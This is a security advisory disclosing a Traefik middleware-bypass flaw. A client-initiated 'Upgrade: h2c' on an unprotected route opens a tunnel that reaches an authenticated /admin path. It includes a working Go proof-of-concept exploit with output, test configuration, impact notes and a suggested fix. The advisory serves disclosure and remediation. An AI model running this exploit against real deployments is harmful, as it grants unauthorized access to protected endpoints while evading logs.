Advisory

GHSA-w4v4-9rw7-5326

Details, part 2 of 2. The advisory

Details

2. Traefik configuration

traefik.yml:

entryPoints:
  web:
    address: "127.0.0.1:9080"

providers:
  file:
    filename: "dynamic.yml"

dynamic.yml:

http:
  routers:
    r-public:
      rule: "PathPrefix(`/public`)"
      entryPoints: ["web"]
      service: svc

    r-admin:
      rule: "PathPrefix(`/admin`)"
      entryPoints: ["web"]
      service: svc
      middlewares: ["adminauth"]

  middlewares:
    adminauth:
      basicAuth:
        users:
          - "admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs."

  services:
    svc:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:9900"

Both routers terminate on the same backend. Only /admin has authentication.

3. Attacker

The PoC first verifies that /admin is protected, then establishes an unauthenticated h2c tunnel through /public and sends /admin over the resulting HTTP/2 connection.

package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"

    "golang.org/x/net/http2"
)

func main() {
    front := "127.0.0.1:9080"

    resp, _ := http.Get("http://" + front + "/admin")
    b, _ := io.ReadAll(resp.Body)
    resp.Body.Close()

    fmt.Printf(
        "[1] Direct GET /admin (no creds) -> %d %q\n",
        resp.StatusCode,
        strings.TrimSpace(string(b)),
    )

    raw, _ := net.Dial("tcp", front)

    raw.Write([]byte(
        "GET /public HTTP/1.1\r\n" +
            "Host: x\r\n" +
            "Connection: Upgrade, HTTP2-Settings\r\n" +
            "Upgrade: h2c\r\n" +
            "HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" +
            "\r\n",
    ))

    buf := make([]byte, 256)

    raw.SetReadDeadline(time.Now().Add(3 * time.Second))
    n, _ := raw.Read(buf)

    fmt.Printf(
        "[2] Upgrade: h2c to /public (no auth) -> %q\n",
        strings.SplitN(string(buf[:n]), "\r\n", 2)[0],
    )

    raw.SetReadDeadline(time.Time{})

    cc, _ := (&http2.Transport{}).NewClientConn(raw)

    req, _ := http.NewRequest("GET", "http://x/admin", nil)

    r2, _ := cc.RoundTrip(req)
    b2, _ := io.ReadAll(r2.Body)
    r2.Body.Close()

    fmt.Printf(
        "[3] HTTP/2 GET /admin over tunnel -> %d %q\n",
        r2.StatusCode,
        strings.TrimSpace(string(b2)),
    )
}

Result

[1] Direct GET /admin (no creds)      -> 401 "401 Unauthorized"
[2] Upgrade: h2c to /public (no auth) -> "HTTP/1.1 101 Switching Protocols"
[3] HTTP/2 GET /admin over tunnel     -> 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"

This demonstrates the bypass:

  • Direct /admin → 401
  • Unauthenticated /public → 101
  • /admin over the established h2c tunnel → 200

The PoC therefore shows that the /admin middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel.

Impact

The issue is exploitable when:

  1. An attacker can reach a router without the relevant security middleware.
  2. That router points to the same backend as a protected router.
  3. The backend accepts Upgrade: h2c and returns 101 Switching Protocols.
  4. Traefik allows the resulting upgrade to complete.

Under these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend.

Potentially affected middleware includes:

  • BasicAuth
  • ForwardAuth
  • IPAllowList
  • RateLimit
  • header/security middleware
  • other per-request middleware attached to the protected router

The tunneled requests also bypass Traefik's normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline.

The impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik.

Scope / Preconditions

The backend must support the HTTP/1.1 → h2c upgrade mechanism and return 101 Switching Protocols.

This is not true for every HTTP/2-capable backend.

For example, recent golang.org/x/net/http2/h2c implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected.

Older implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade.

Therefore, this is not a generic "Traefik + HTTP/2 backend = vulnerable" issue. The backend's ability to accept the client-initiated upgrade is a required prerequisite.

The Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path.

Suggested Fix

The proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket.

At minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:

Upgrade: h2c
Upgrade: <arbitrary-token>

More generally, Traefik should not treat an arbitrary 101 Switching Protocols response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik.

The relevant security property is:

> A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik's HTTP routing/middleware layer.

TL;DR

Traefik forwards arbitrary client-supplied Upgrade tokens.

If a backend accepts Upgrade: h2c and returns 101, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik's routers or middleware.

An attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:

/public (no auth)
      |
      | Upgrade: h2c
      v
   Traefik
      |
      | 101
      v
  raw tunnel
      |
      | HTTP/2 GET /admin
      v
   Backend
      |
      v
/admin
(middleware bypassed)

In the PoC, a direct unauthenticated request to /admin returns 401, while the same endpoint accessed over the h2c tunnel returns 200.

The root cause is unrestricted client-initiated protocol upgrades combined with the loss of Traefik's HTTP routing/middleware enforcement after `101 Switching Protocols`.

</details>
---

Sources & licences